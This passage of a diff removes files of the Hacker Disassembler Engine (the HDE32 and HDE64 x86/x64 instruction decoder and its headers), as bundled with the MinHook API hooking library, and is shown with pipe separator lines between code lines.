if (*ht++ == opcode) {
|
|
||||||
if ((*ht++ & pref) && !((*ht << m_reg) & 0x80))
|
|
||||||
goto error_operand;
|
|
||||||
else
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
goto no_error_operand;
|
|
||||||
} else if (hs->opcode2) {
|
|
||||||
switch (opcode) {
|
|
||||||
case 0x50: case 0xd7: case 0xf7:
|
|
||||||
if (pref & (PRE_NONE | PRE_66))
|
|
||||||
goto error_operand;
|
|
||||||
break;
|
|
||||||
case 0xd6:
|
|
||||||
if (pref & (PRE_F2 | PRE_F3))
|
|
||||||
goto error_operand;
|
|
||||||
break;
|
|
||||||
case 0xc5:
|
|
||||||
goto error_operand;
|
|
||||||
}
|
|
||||||
goto no_error_operand;
|
|
||||||
} else
|
|
||||||
goto no_error_operand;
|
|
||||||
|
|
||||||
error_operand:
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_OPERAND;
|
|
||||||
no_error_operand:
|
|
||||||
|
|
||||||
c = *p++;
|
|
||||||
if (m_reg <= 1) {
|
|
||||||
if (opcode == 0xf6)
|
|
||||||
cflags |= C_IMM8;
|
|
||||||
else if (opcode == 0xf7)
|
|
||||||
cflags |= C_IMM_P66;
|
|
||||||
}
|
|
||||||
|
|
||||||
switch (m_mod) {
|
|
||||||
case 0:
|
|
||||||
if (pref & PRE_67) {
|
|
||||||
if (m_rm == 6)
|
|
||||||
disp_size = 2;
|
|
||||||
} else
|
|
||||||
if (m_rm == 5)
|
|
||||||
disp_size = 4;
|
|
||||||
break;
|
|
||||||
case 1:
|
|
||||||
disp_size = 1;
|
|
||||||
break;
|
|
||||||
case 2:
|
|
||||||
disp_size = 2;
|
|
||||||
if (!(pref & PRE_67))
|
|
||||||
disp_size <<= 1;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (m_mod != 3 && m_rm == 4 && !(pref & PRE_67)) {
|
|
||||||
hs->flags |= F_SIB;
|
|
||||||
p++;
|
|
||||||
hs->sib = c;
|
|
||||||
hs->sib_scale = c >> 6;
|
|
||||||
hs->sib_index = (c & 0x3f) >> 3;
|
|
||||||
if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
|
|
||||||
disp_size = 4;
|
|
||||||
}
|
|
||||||
|
|
||||||
p--;
|
|
||||||
switch (disp_size) {
|
|
||||||
case 1:
|
|
||||||
hs->flags |= F_DISP8;
|
|
||||||
hs->disp.disp8 = *p;
|
|
||||||
break;
|
|
||||||
case 2:
|
|
||||||
hs->flags |= F_DISP16;
|
|
||||||
hs->disp.disp16 = *(uint16_t *)p;
|
|
||||||
break;
|
|
||||||
case 4:
|
|
||||||
hs->flags |= F_DISP32;
|
|
||||||
hs->disp.disp32 = *(uint32_t *)p;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
p += disp_size;
|
|
||||||
} else if (pref & PRE_LOCK)
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
|
||||||
|
|
||||||
if (cflags & C_IMM_P66) {
|
|
||||||
if (cflags & C_REL32) {
|
|
||||||
if (pref & PRE_66) {
|
|
||||||
hs->flags |= F_IMM16 | F_RELATIVE;
|
|
||||||
hs->imm.imm16 = *(uint16_t *)p;
|
|
||||||
p += 2;
|
|
||||||
goto disasm_done;
|
|
||||||
}
|
|
||||||
goto rel32_ok;
|
|
||||||
}
|
|
||||||
if (pref & PRE_66) {
|
|
||||||
hs->flags |= F_IMM16;
|
|
||||||
hs->imm.imm16 = *(uint16_t *)p;
|
|
||||||
p += 2;
|
|
||||||
} else {
|
|
||||||
hs->flags |= F_IMM32;
|
|
||||||
hs->imm.imm32 = *(uint32_t *)p;
|
|
||||||
p += 4;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (cflags & C_IMM16) {
|
|
||||||
if (hs->flags & F_IMM32) {
|
|
||||||
hs->flags |= F_IMM16;
|
|
||||||
hs->disp.disp16 = *(uint16_t *)p;
|
|
||||||
} else if (hs->flags & F_IMM16) {
|
|
||||||
hs->flags |= F_2IMM16;
|
|
||||||
hs->disp.disp16 = *(uint16_t *)p;
|
|
||||||
} else {
|
|
||||||
hs->flags |= F_IMM16;
|
|
||||||
hs->imm.imm16 = *(uint16_t *)p;
|
|
||||||
}
|
|
||||||
p += 2;
|
|
||||||
}
|
|
||||||
if (cflags & C_IMM8) {
|
|
||||||
hs->flags |= F_IMM8;
|
|
||||||
hs->imm.imm8 = *p++;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (cflags & C_REL32) {
|
|
||||||
rel32_ok:
|
|
||||||
hs->flags |= F_IMM32 | F_RELATIVE;
|
|
||||||
hs->imm.imm32 = *(uint32_t *)p;
|
|
||||||
p += 4;
|
|
||||||
} else if (cflags & C_REL8) {
|
|
||||||
hs->flags |= F_IMM8 | F_RELATIVE;
|
|
||||||
hs->imm.imm8 = *p++;
|
|
||||||
}
|
|
||||||
|
|
||||||
disasm_done:
|
|
||||||
|
|
||||||
if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_LENGTH;
|
|
||||||
hs->len = 15;
|
|
||||||
}
|
|
||||||
|
|
||||||
return (unsigned int)hs->len;
|
|
||||||
}
|
|
||||||
|
|
||||||
#endif // defined(_M_IX86) || defined(__i386__)
|
|
||||||
@@ -1,105 +0,0 @@
|
|||||||
/*
|
|
||||||
* Hacker Disassembler Engine 32
|
|
||||||
* Copyright (c) 2006-2009, Vyacheslav Patkov.
|
|
||||||
* All rights reserved.
|
|
||||||
*
|
|
||||||
* hde32.h: C/C++ header file
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef _HDE32_H_
|
|
||||||
#define _HDE32_H_
|
|
||||||
|
|
||||||
/* stdint.h - C99 standard header
|
|
||||||
* http://en.wikipedia.org/wiki/stdint.h
|
|
||||||
*
|
|
||||||
* if your compiler doesn't contain "stdint.h" header (for
|
|
||||||
* example, Microsoft Visual C++), you can download file:
|
|
||||||
* http://www.azillionmonkeys.com/qed/pstdint.h
|
|
||||||
* and change next line to:
|
|
||||||
* #include "pstdint.h"
|
|
||||||
*/
|
|
||||||
#include "pstdint.h"
|
|
||||||
|
|
||||||
#define F_MODRM 0x00000001
|
|
||||||
#define F_SIB 0x00000002
|
|
||||||
#define F_IMM8 0x00000004
|
|
||||||
#define F_IMM16 0x00000008
|
|
||||||
#define F_IMM32 0x00000010
|
|
||||||
#define F_DISP8 0x00000020
|
|
||||||
#define F_DISP16 0x00000040
|
|
||||||
#define F_DISP32 0x00000080
|
|
||||||
#define F_RELATIVE 0x00000100
|
|
||||||
#define F_2IMM16 0x00000800
|
|
||||||
#define F_ERROR 0x00001000
|
|
||||||
#define F_ERROR_OPCODE 0x00002000
|
|
||||||
#define F_ERROR_LENGTH 0x00004000
|
|
||||||
#define F_ERROR_LOCK 0x00008000
|
|
||||||
#define F_ERROR_OPERAND 0x00010000
|
|
||||||
#define F_PREFIX_REPNZ 0x01000000
|
|
||||||
#define F_PREFIX_REPX 0x02000000
|
|
||||||
#define F_PREFIX_REP 0x03000000
|
|
||||||
#define F_PREFIX_66 0x04000000
|
|
||||||
#define F_PREFIX_67 0x08000000
|
|
||||||
#define F_PREFIX_LOCK 0x10000000
|
|
||||||
#define F_PREFIX_SEG 0x20000000
|
|
||||||
#define F_PREFIX_ANY 0x3f000000
|
|
||||||
|
|
||||||
#define PREFIX_SEGMENT_CS 0x2e
|
|
||||||
#define PREFIX_SEGMENT_SS 0x36
|
|
||||||
#define PREFIX_SEGMENT_DS 0x3e
|
|
||||||
#define PREFIX_SEGMENT_ES 0x26
|
|
||||||
#define PREFIX_SEGMENT_FS 0x64
|
|
||||||
#define PREFIX_SEGMENT_GS 0x65
|
|
||||||
#define PREFIX_LOCK 0xf0
|
|
||||||
#define PREFIX_REPNZ 0xf2
|
|
||||||
#define PREFIX_REPX 0xf3
|
|
||||||
#define PREFIX_OPERAND_SIZE 0x66
|
|
||||||
#define PREFIX_ADDRESS_SIZE 0x67
|
|
||||||
|
|
||||||
#pragma pack(push,1)
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
uint8_t len;
|
|
||||||
uint8_t p_rep;
|
|
||||||
uint8_t p_lock;
|
|
||||||
uint8_t p_seg;
|
|
||||||
uint8_t p_66;
|
|
||||||
uint8_t p_67;
|
|
||||||
uint8_t opcode;
|
|
||||||
uint8_t opcode2;
|
|
||||||
uint8_t modrm;
|
|
||||||
uint8_t modrm_mod;
|
|
||||||
uint8_t modrm_reg;
|
|
||||||
uint8_t modrm_rm;
|
|
||||||
uint8_t sib;
|
|
||||||
uint8_t sib_scale;
|
|
||||||
uint8_t sib_index;
|
|
||||||
uint8_t sib_base;
|
|
||||||
union {
|
|
||||||
uint8_t imm8;
|
|
||||||
uint16_t imm16;
|
|
||||||
uint32_t imm32;
|
|
||||||
} imm;
|
|
||||||
union {
|
|
||||||
uint8_t disp8;
|
|
||||||
uint16_t disp16;
|
|
||||||
uint32_t disp32;
|
|
||||||
} disp;
|
|
||||||
uint32_t flags;
|
|
||||||
} hde32s;
|
|
||||||
|
|
||||||
#pragma pack(pop)
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/* __cdecl */
|
|
||||||
unsigned int hde32_disasm(const void *code, hde32s *hs);
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif /* _HDE32_H_ */
|
|
||||||
@@ -1,335 +0,0 @@
|
|||||||
/*
|
|
||||||
* Hacker Disassembler Engine 64 C
|
|
||||||
* Copyright (c) 2008-2009, Vyacheslav Patkov.
|
|
||||||
* All rights reserved.
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
|
|
||||||
#if defined(_M_X64) || defined(__x86_64__)
|
|
||||||
|
|
||||||
#include <string.h>
|
|
||||||
#include "hde64.h"
|
|
||||||
#include "table64.h"
|
|
||||||
|
|
||||||
unsigned int hde64_disasm(const void *code, hde64s *hs)
|
|
||||||
{
|
|
||||||
uint8_t x, c, *p = (uint8_t *)code, cflags, opcode, pref = 0;
|
|
||||||
uint8_t *ht = hde64_table, m_mod, m_reg, m_rm, disp_size = 0;
|
|
||||||
uint8_t op64 = 0;
|
|
||||||
|
|
||||||
memset(hs, 0, sizeof(hde64s));
|
|
||||||
|
|
||||||
for (x = 16; x; x--)
|
|
||||||
switch (c = *p++) {
|
|
||||||
case 0xf3:
|
|
||||||
hs->p_rep = c;
|
|
||||||
pref |= PRE_F3;
|
|
||||||
break;
|
|
||||||
case 0xf2:
|
|
||||||
hs->p_rep = c;
|
|
||||||
pref |= PRE_F2;
|
|
||||||
break;
|
|
||||||
case 0xf0:
|
|
||||||
hs->p_lock = c;
|
|
||||||
pref |= PRE_LOCK;
|
|
||||||
break;
|
|
||||||
case 0x26: case 0x2e: case 0x36:
|
|
||||||
case 0x3e: case 0x64: case 0x65:
|
|
||||||
hs->p_seg = c;
|
|
||||||
pref |= PRE_SEG;
|
|
||||||
break;
|
|
||||||
case 0x66:
|
|
||||||
hs->p_66 = c;
|
|
||||||
pref |= PRE_66;
|
|
||||||
break;
|
|
||||||
case 0x67:
|
|
||||||
hs->p_67 = c;
|
|
||||||
pref |= PRE_67;
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
goto pref_done;
|
|
||||||
}
|
|
||||||
pref_done:
|
|
||||||
|
|
||||||
hs->flags = (uint32_t)pref << 23;
|
|
||||||
|
|
||||||
if (!pref)
|
|
||||||
pref |= PRE_NONE;
|
|
||||||
|
|
||||||
if ((c & 0xf0) == 0x40) {
|
|
||||||
hs->flags |= F_PREFIX_REX;
|
|
||||||
if ((hs->rex_w = (c & 0xf) >> 3) && (*p & 0xf8) == 0xb8)
|
|
||||||
op64++;
|
|
||||||
hs->rex_r = (c & 7) >> 2;
|
|
||||||
hs->rex_x = (c & 3) >> 1;
|
|
||||||
hs->rex_b = c & 1;
|
|
||||||
if (((c = *p++) & 0xf0) == 0x40) {
|
|
||||||
opcode = c;
|
|
||||||
goto error_opcode;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if ((hs->opcode = c) == 0x0f) {
|
|
||||||
hs->opcode2 = c = *p++;
|
|
||||||
ht += DELTA_OPCODES;
|
|
||||||
} else if (c >= 0xa0 && c <= 0xa3) {
|
|
||||||
op64++;
|
|
||||||
if (pref & PRE_67)
|
|
||||||
pref |= PRE_66;
|
|
||||||
else
|
|
||||||
pref &= ~PRE_66;
|
|
||||||
}
|
|
||||||
|
|
||||||
opcode = c;
|
|
||||||
cflags = ht[ht[opcode / 4] + (opcode % 4)];
|
|
||||||
|
|
||||||
if (cflags == C_ERROR) {
|
|
||||||
error_opcode:
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
|
||||||
cflags = 0;
|
|
||||||
if ((opcode & -3) == 0x24)
|
|
||||||
cflags++;
|
|
||||||
}
|
|
||||||
|
|
||||||
x = 0;
|
|
||||||
if (cflags & C_GROUP) {
|
|
||||||
uint16_t t;
|
|
||||||
t = *(uint16_t *)(ht + (cflags & 0x7f));
|
|
||||||
cflags = (uint8_t)t;
|
|
||||||
x = (uint8_t)(t >> 8);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (hs->opcode2) {
|
|
||||||
ht = hde64_table + DELTA_PREFIXES;
|
|
||||||
if (ht[ht[opcode / 4] + (opcode % 4)] & pref)
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (cflags & C_MODRM) {
|
|
||||||
hs->flags |= F_MODRM;
|
|
||||||
hs->modrm = c = *p++;
|
|
||||||
hs->modrm_mod = m_mod = c >> 6;
|
|
||||||
hs->modrm_rm = m_rm = c & 7;
|
|
||||||
hs->modrm_reg = m_reg = (c & 0x3f) >> 3;
|
|
||||||
|
|
||||||
if (x && ((x << m_reg) & 0x80))
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
|
||||||
|
|
||||||
if (!hs->opcode2 && opcode >= 0xd9 && opcode <= 0xdf) {
|
|
||||||
uint8_t t = opcode - 0xd9;
|
|
||||||
if (m_mod == 3) {
|
|
||||||
ht = hde64_table + DELTA_FPU_MODRM + t*8;
|
|
||||||
t = ht[m_reg] << m_rm;
|
|
||||||
} else {
|
|
||||||
ht = hde64_table + DELTA_FPU_REG;
|
|
||||||
t = ht[t] << m_reg;
|
|
||||||
}
|
|
||||||
if (t & 0x80)
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_OPCODE;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (pref & PRE_LOCK) {
|
|
||||||
if (m_mod == 3) {
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
|
||||||
} else {
|
|
||||||
uint8_t *table_end, op = opcode;
|
|
||||||
if (hs->opcode2) {
|
|
||||||
ht = hde64_table + DELTA_OP2_LOCK_OK;
|
|
||||||
table_end = ht + DELTA_OP_ONLY_MEM - DELTA_OP2_LOCK_OK;
|
|
||||||
} else {
|
|
||||||
ht = hde64_table + DELTA_OP_LOCK_OK;
|
|
||||||
table_end = ht + DELTA_OP2_LOCK_OK - DELTA_OP_LOCK_OK;
|
|
||||||
op &= -2;
|
|
||||||
}
|
|
||||||
for (; ht != table_end; ht++)
|
|
||||||
if (*ht++ == op) {
|
|
||||||
if (!((*ht << m_reg) & 0x80))
|
|
||||||
goto no_lock_error;
|
|
||||||
else
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
|
||||||
no_lock_error:
|
|
||||||
;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (hs->opcode2) {
|
|
||||||
switch (opcode) {
|
|
||||||
case 0x20: case 0x22:
|
|
||||||
m_mod = 3;
|
|
||||||
if (m_reg > 4 || m_reg == 1)
|
|
||||||
goto error_operand;
|
|
||||||
else
|
|
||||||
goto no_error_operand;
|
|
||||||
case 0x21: case 0x23:
|
|
||||||
m_mod = 3;
|
|
||||||
if (m_reg == 4 || m_reg == 5)
|
|
||||||
goto error_operand;
|
|
||||||
else
|
|
||||||
goto no_error_operand;
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
switch (opcode) {
|
|
||||||
case 0x8c:
|
|
||||||
if (m_reg > 5)
|
|
||||||
goto error_operand;
|
|
||||||
else
|
|
||||||
goto no_error_operand;
|
|
||||||
case 0x8e:
|
|
||||||
if (m_reg == 1 || m_reg > 5)
|
|
||||||
goto error_operand;
|
|
||||||
else
|
|
||||||
goto no_error_operand;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (m_mod == 3) {
|
|
||||||
uint8_t *table_end;
|
|
||||||
if (hs->opcode2) {
|
|
||||||
ht = hde64_table + DELTA_OP2_ONLY_MEM;
|
|
||||||
table_end = ht + sizeof(hde64_table) - DELTA_OP2_ONLY_MEM;
|
|
||||||
} else {
|
|
||||||
ht = hde64_table + DELTA_OP_ONLY_MEM;
|
|
||||||
table_end = ht + DELTA_OP2_ONLY_MEM - DELTA_OP_ONLY_MEM;
|
|
||||||
}
|
|
||||||
for (; ht != table_end; ht += 2)
|
|
||||||
if (*ht++ == opcode) {
|
|
||||||
if ((*ht++ & pref) && !((*ht << m_reg) & 0x80))
|
|
||||||
goto error_operand;
|
|
||||||
else
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
goto no_error_operand;
|
|
||||||
} else if (hs->opcode2) {
|
|
||||||
switch (opcode) {
|
|
||||||
case 0x50: case 0xd7: case 0xf7:
|
|
||||||
if (pref & (PRE_NONE | PRE_66))
|
|
||||||
goto error_operand;
|
|
||||||
break;
|
|
||||||
case 0xd6:
|
|
||||||
if (pref & (PRE_F2 | PRE_F3))
|
|
||||||
goto error_operand;
|
|
||||||
break;
|
|
||||||
case 0xc5:
|
|
||||||
goto error_operand;
|
|
||||||
}
|
|
||||||
goto no_error_operand;
|
|
||||||
} else
|
|
||||||
goto no_error_operand;
|
|
||||||
|
|
||||||
error_operand:
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_OPERAND;
|
|
||||||
no_error_operand:
|
|
||||||
|
|
||||||
c = *p++;
|
|
||||||
if (m_reg <= 1) {
|
|
||||||
if (opcode == 0xf6)
|
|
||||||
cflags |= C_IMM8;
|
|
||||||
else if (opcode == 0xf7)
|
|
||||||
cflags |= C_IMM_P66;
|
|
||||||
}
|
|
||||||
|
|
||||||
switch (m_mod) {
|
|
||||||
case 0:
|
|
||||||
if (pref & PRE_67) {
|
|
||||||
if (m_rm == 6)
|
|
||||||
disp_size = 2;
|
|
||||||
} else
|
|
||||||
if (m_rm == 5)
|
|
||||||
disp_size = 4;
|
|
||||||
break;
|
|
||||||
case 1:
|
|
||||||
disp_size = 1;
|
|
||||||
break;
|
|
||||||
case 2:
|
|
||||||
disp_size = 2;
|
|
||||||
if (!(pref & PRE_67))
|
|
||||||
disp_size <<= 1;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (m_mod != 3 && m_rm == 4) {
|
|
||||||
hs->flags |= F_SIB;
|
|
||||||
p++;
|
|
||||||
hs->sib = c;
|
|
||||||
hs->sib_scale = c >> 6;
|
|
||||||
hs->sib_index = (c & 0x3f) >> 3;
|
|
||||||
if ((hs->sib_base = c & 7) == 5 && !(m_mod & 1))
|
|
||||||
disp_size = 4;
|
|
||||||
}
|
|
||||||
|
|
||||||
p--;
|
|
||||||
switch (disp_size) {
|
|
||||||
case 1:
|
|
||||||
hs->flags |= F_DISP8;
|
|
||||||
hs->disp.disp8 = *p;
|
|
||||||
break;
|
|
||||||
case 2:
|
|
||||||
hs->flags |= F_DISP16;
|
|
||||||
hs->disp.disp16 = *(uint16_t *)p;
|
|
||||||
break;
|
|
||||||
case 4:
|
|
||||||
hs->flags |= F_DISP32;
|
|
||||||
hs->disp.disp32 = *(uint32_t *)p;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
p += disp_size;
|
|
||||||
} else if (pref & PRE_LOCK)
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_LOCK;
|
|
||||||
|
|
||||||
if (cflags & C_IMM_P66) {
|
|
||||||
if (cflags & C_REL32) {
|
|
||||||
if (pref & PRE_66) {
|
|
||||||
hs->flags |= F_IMM16 | F_RELATIVE;
|
|
||||||
hs->imm.imm16 = *(uint16_t *)p;
|
|
||||||
p += 2;
|
|
||||||
goto disasm_done;
|
|
||||||
}
|
|
||||||
goto rel32_ok;
|
|
||||||
}
|
|
||||||
if (op64) {
|
|
||||||
hs->flags |= F_IMM64;
|
|
||||||
hs->imm.imm64 = *(uint64_t *)p;
|
|
||||||
p += 8;
|
|
||||||
} else if (!(pref & PRE_66)) {
|
|
||||||
hs->flags |= F_IMM32;
|
|
||||||
hs->imm.imm32 = *(uint32_t *)p;
|
|
||||||
p += 4;
|
|
||||||
} else
|
|
||||||
goto imm16_ok;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
if (cflags & C_IMM16) {
|
|
||||||
imm16_ok:
|
|
||||||
hs->flags |= F_IMM16;
|
|
||||||
hs->imm.imm16 = *(uint16_t *)p;
|
|
||||||
p += 2;
|
|
||||||
}
|
|
||||||
if (cflags & C_IMM8) {
|
|
||||||
hs->flags |= F_IMM8;
|
|
||||||
hs->imm.imm8 = *p++;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (cflags & C_REL32) {
|
|
||||||
rel32_ok:
|
|
||||||
hs->flags |= F_IMM32 | F_RELATIVE;
|
|
||||||
hs->imm.imm32 = *(uint32_t *)p;
|
|
||||||
p += 4;
|
|
||||||
} else if (cflags & C_REL8) {
|
|
||||||
hs->flags |= F_IMM8 | F_RELATIVE;
|
|
||||||
hs->imm.imm8 = *p++;
|
|
||||||
}
|
|
||||||
|
|
||||||
disasm_done:
|
|
||||||
|
|
||||||
if ((hs->len = (uint8_t)(p-(uint8_t *)code)) > 15) {
|
|
||||||
hs->flags |= F_ERROR | F_ERROR_LENGTH;
|
|
||||||
hs->len = 15;
|
|
||||||
}
|
|
||||||
|
|
||||||
return (unsigned int)hs->len;
|
|
||||||
}
|
|
||||||
|
|
||||||
#endif // defined(_M_X64) || defined(__x86_64__)
|
|
||||||
@@ -1,112 +0,0 @@
|
|||||||
/*
|
|
||||||
* Hacker Disassembler Engine 64
|
|
||||||
* Copyright (c) 2008-2009, Vyacheslav Patkov.
|
|
||||||
* All rights reserved.
|
|
||||||
*
|
|
||||||
* hde64.h: C/C++ header file
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef _HDE64_H_
|
|
||||||
#define _HDE64_H_
|
|
||||||
|
|
||||||
/* stdint.h - C99 standard header
|
|
||||||
* http://en.wikipedia.org/wiki/stdint.h
|
|
||||||
*
|
|
||||||
* if your compiler doesn't contain "stdint.h" header (for
|
|
||||||
* example, Microsoft Visual C++), you can download file:
|
|
||||||
* http://www.azillionmonkeys.com/qed/pstdint.h
|
|
||||||
* and change next line to:
|
|
||||||
* #include "pstdint.h"
|
|
||||||
*/
|
|
||||||
#include "pstdint.h"
|
|
||||||
|
|
||||||
#define F_MODRM 0x00000001
|
|
||||||
#define F_SIB 0x00000002
|
|
||||||
#define F_IMM8 0x00000004
|
|
||||||
#define F_IMM16 0x00000008
|
|
||||||
#define F_IMM32 0x00000010
|
|
||||||
#define F_IMM64 0x00000020
|
|
||||||
#define F_DISP8 0x00000040
|
|
||||||
#define F_DISP16 0x00000080
|
|
||||||
#define F_DISP32 0x00000100
|
|
||||||
#define F_RELATIVE 0x00000200
|
|
||||||
#define F_ERROR 0x00001000
|
|
||||||
#define F_ERROR_OPCODE 0x00002000
|
|
||||||
#define F_ERROR_LENGTH 0x00004000
|
|
||||||
#define F_ERROR_LOCK 0x00008000
|
|
||||||
#define F_ERROR_OPERAND 0x00010000
|
|
||||||
#define F_PREFIX_REPNZ 0x01000000
|
|
||||||
#define F_PREFIX_REPX 0x02000000
|
|
||||||
#define F_PREFIX_REP 0x03000000
|
|
||||||
#define F_PREFIX_66 0x04000000
|
|
||||||
#define F_PREFIX_67 0x08000000
|
|
||||||
#define F_PREFIX_LOCK 0x10000000
|
|
||||||
#define F_PREFIX_SEG 0x20000000
|
|
||||||
#define F_PREFIX_REX 0x40000000
|
|
||||||
#define F_PREFIX_ANY 0x7f000000
|
|
||||||
|
|
||||||
#define PREFIX_SEGMENT_CS 0x2e
|
|
||||||
#define PREFIX_SEGMENT_SS 0x36
|
|
||||||
#define PREFIX_SEGMENT_DS 0x3e
|
|
||||||
#define PREFIX_SEGMENT_ES 0x26
|
|
||||||
#define PREFIX_SEGMENT_FS 0x64
|
|
||||||
#define PREFIX_SEGMENT_GS 0x65
|
|
||||||
#define PREFIX_LOCK 0xf0
|
|
||||||
#define PREFIX_REPNZ 0xf2
|
|
||||||
#define PREFIX_REPX 0xf3
|
|
||||||
#define PREFIX_OPERAND_SIZE 0x66
|
|
||||||
#define PREFIX_ADDRESS_SIZE 0x67
|
|
||||||
|
|
||||||
#pragma pack(push,1)
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
uint8_t len;
|
|
||||||
uint8_t p_rep;
|
|
||||||
uint8_t p_lock;
|
|
||||||
uint8_t p_seg;
|
|
||||||
uint8_t p_66;
|
|
||||||
uint8_t p_67;
|
|
||||||
uint8_t rex;
|
|
||||||
uint8_t rex_w;
|
|
||||||
uint8_t rex_r;
|
|
||||||
uint8_t rex_x;
|
|
||||||
uint8_t rex_b;
|
|
||||||
uint8_t opcode;
|
|
||||||
uint8_t opcode2;
|
|
||||||
uint8_t modrm;
|
|
||||||
uint8_t modrm_mod;
|
|
||||||
uint8_t modrm_reg;
|
|
||||||
uint8_t modrm_rm;
|
|
||||||
uint8_t sib;
|
|
||||||
uint8_t sib_scale;
|
|
||||||
uint8_t sib_index;
|
|
||||||
uint8_t sib_base;
|
|
||||||
union {
|
|
||||||
uint8_t imm8;
|
|
||||||
uint16_t imm16;
|
|
||||||
uint32_t imm32;
|
|
||||||
uint64_t imm64;
|
|
||||||
} imm;
|
|
||||||
union {
|
|
||||||
uint8_t disp8;
|
|
||||||
uint16_t disp16;
|
|
||||||
uint32_t disp32;
|
|
||||||
} disp;
|
|
||||||
uint32_t flags;
|
|
||||||
} hde64s;
|
|
||||||
|
|
||||||
#pragma pack(pop)
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
extern "C" {
|
|
||||||
#endif
|
|
||||||
|
|
||||||
/* __cdecl */
|
|
||||||
unsigned int hde64_disasm(const void *code, hde64s *hs);
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#endif /* _HDE64_H_ */
|
|
||||||
@@ -1,39 +0,0 @@
|
|||||||
/*
|
|
||||||
* MinHook - The Minimalistic API Hooking Library for x64/x86
|
|
||||||
* Copyright (C) 2009-2017 Tsuda Kageyu. All rights reserved.
|
|
||||||
*
|
|
||||||
* Redistribution and use in source and binary forms, with or without
|
|
||||||
* modification, are permitted provided that the following conditions
|
|
||||||
* are met:
|
|
||||||
*
|
|
||||||
* 1. Redistributions of source code must retain the above copyright
|
|
||||||
* notice, this list of conditions and the following disclaimer.
|
|
||||||
* 2. Redistributions in binary form must reproduce the above copyright
|
|
||||||
* notice, this list of conditions and the following disclaimer in the
|
|
||||||
* documentation and/or other materials provided with the distribution.
|
|
||||||
*
|
|
||||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR
|
|
||||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
|
||||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
|
||||||
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
|
||||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
|
||||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
|
||||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
|
||||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
|
||||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
|
||||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
|
||||||
*/
|
|
||||||
|
|
||||||
#pragma once
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
// Integer types for HDE.
|
|
||||||
typedef INT8 int8_t;
|
|
||||||
typedef INT16 int16_t;
|
|
||||||
typedef INT32 int32_t;
|
|
||||||
typedef INT64 int64_t;
|
|
||||||
typedef UINT8 uint8_t;
|
|
||||||
typedef UINT16 uint16_t;
|
|
||||||
typedef UINT32 uint32_t;
|
|
||||||
typedef UINT64 uint64_t;
|
|
||||||
@@ -1,73 +0,0 @@
|
|||||||
/*
|
|
||||||
* Hacker Disassembler Engine 32 C
|
|
||||||
* Copyright (c) 2008-2009, Vyacheslav Patkov.
|
|
||||||
* All rights reserved.
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
|
|
||||||
#define C_NONE 0x00
|
|
||||||
#define C_MODRM 0x01
|
|
||||||
#define C_IMM8 0x02
|
|
||||||
#define C_IMM16 0x04
|
|
||||||
